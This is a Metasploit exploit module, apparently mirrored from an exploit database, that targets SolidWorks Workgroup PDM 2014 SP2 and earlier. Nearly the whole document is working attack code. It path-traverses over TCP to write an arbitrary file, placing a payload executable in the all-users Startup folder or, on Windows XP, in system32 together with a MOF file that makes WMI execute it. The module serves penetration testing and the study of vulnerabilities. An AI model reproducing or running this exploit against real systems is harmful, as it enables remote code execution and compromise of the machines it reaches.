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# SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write',
'Description' => %q{
This module exploits a remote arbitrary file write vulnerability in
SolidWorks Workgroup PDM 2014 SP2 and prior.

For targets running Windows Vista or newer the payload is written to the
startup folder for all users and executed upon next user logon.

For targets before Windows Vista code execution can be achieved by first
uploading the payload as an exe file, and then upload another mof file,
which schedules WMI to execute the uploaded payload.

This module has been tested successfully on SolidWorks Workgroup PDM
2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mohamed Shetta <mshetta[at]live.com>', # Initial discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
],
'References' =>
[
['EDB', '31831'],
['OSVDB', '103671']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => 'win',
'Targets' =>
[
# Tested on:
# - SolidWorks Workgroup PDM 2011 SP0 (Windows XP SP3 - EN)
# - SolidWorks Workgroup PDM 2011 SP0 (Windows 7 SP1 - EN)
['Automatic', { 'auto' => true } ], # both
['SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)', {}],
['SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)', {}],
],
'Privileged' => true,
'DisclosureDate' => 'Feb 22 2014',
'DefaultTarget' => 0))

register_options([
OptInt.new('DEPTH', [true, 'Traversal depth', 10]),
Opt::RPORT(30000)
], self.class)
end

def peer
"#{rhost}:#{rport}"
end

#
# Check
#
def check
# op code
req = "\xD0\x07\x00\x00"
# filename length
req << "\x00\x00\x00\x00"
# data length
req << "\x00\x00\x00\x00"
connect
sock.put req
res = sock.get_once
disconnect
if !res
vprint_error "#{peer} - Connection failed."
Exploit::CheckCode::Unknown
elsif res == "\x00\x00\x00\x00"
vprint_status "#{peer} - Received reply (#{res.length} bytes)"
Exploit::CheckCode::Detected
else
vprint_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
Exploit::CheckCode::Safe
end
end

#
# Send a file
#
def upload(fname, data)
# every character in the filename must be followed by 0x00
fname = fname.scan(/./).join("\x00") + "\x00"
# op code
req = "\xD0\x07\x00\x00"
# filename length
req << "#{[fname.length].pack('l')}"
# file name
req << "#{fname}"
# data length
req << "#{[data.length].pack('l')}"
# data
req << "#{data}"
connect
sock.put req
res = sock.get_once
disconnect
if !res
fail_with(Failure::Unknown, "#{peer} - Connection failed.")
elsif res == "\x00\x00\x00\x00"
print_status "#{peer} - Received reply (#{res.length} bytes)"
else
print_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
end
end

#
# Exploit
#
def exploit
depth = '..\\' * datastore['DEPTH']
exe = generate_payload_exe
exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe"
if target.name =~ /Automatic/ or target.name =~ /Vista/
print_status("#{peer} - Writing EXE to startup for all users (#{exe.length} bytes)")
upload("#{depth}\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{exe_name}",
exe)
end
if target.name =~ /Automatic/ or target.name =~ /XP/
print_status("#{peer} - Sending EXE (#{exe.length} bytes)")
upload("#{depth}\\WINDOWS\\system32\\#{exe_name}", exe)
mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof"
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
print_status("#{peer} - Sending MOF (#{mof.length} bytes)")
upload("#{depth}\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
end
register_file_for_cleanup("#{::File.basename(exe_name)}")
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-03-08]

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